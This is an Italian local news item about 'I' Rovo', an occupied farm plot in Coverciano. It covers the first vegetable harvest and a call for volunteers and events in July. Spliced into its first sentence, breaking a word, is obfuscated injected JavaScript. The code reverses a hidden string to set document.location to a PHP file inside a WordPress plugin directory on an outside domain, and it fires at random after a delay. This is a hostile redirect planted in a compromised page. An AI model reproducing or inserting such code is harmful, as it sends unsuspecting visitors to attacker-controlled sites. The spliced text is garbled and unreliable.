Primo raccolto per la "terra senza padroni" di Coverciano

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Era febbraio qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando i ragazzi del Fondo Comunista delle Case minime presero possesso di un spazzatura, serre abbandonate e ulivi soffocati dai rovi.

Oggi si chiama proprio così, I’ Rovo, l’occupazione agricola di Coverciano che vuole dimostrare la possibilità di “lavorare senza padroni”.

Così si legge sulla loro pagina Facebook “…non si lavora più per la ricchezza altrui, ma si lavora per se stessi e per tutti, per un vivere sociale diverso, di uguaglianza e di benessere collettivo”.

In questi mesi il terreno è stato ripulito, dissodato e rimesso a coltura, con tanto di impianto di irrigazione. E i frutti si vedono: ora si raccolgono zucche, bietole e fagiolini, presto ci saranno pomodori e peperoni, tutti prodotti senza pesticidi.

Ma di lavoro da fare ce n’è ancora tanto, e servono braccia. Per questo nelle prossime due settimane, dal 6 al 20 luglio, I’ Rovo invita tutti gli interessati a dare una mano e a partecipare alle iniziative pubbliche che verranno via via organizzate. La prima è prevista per l’8 luglio con la proiezione sotto le stelle del film “Terra e libertà” di Ken Loach.

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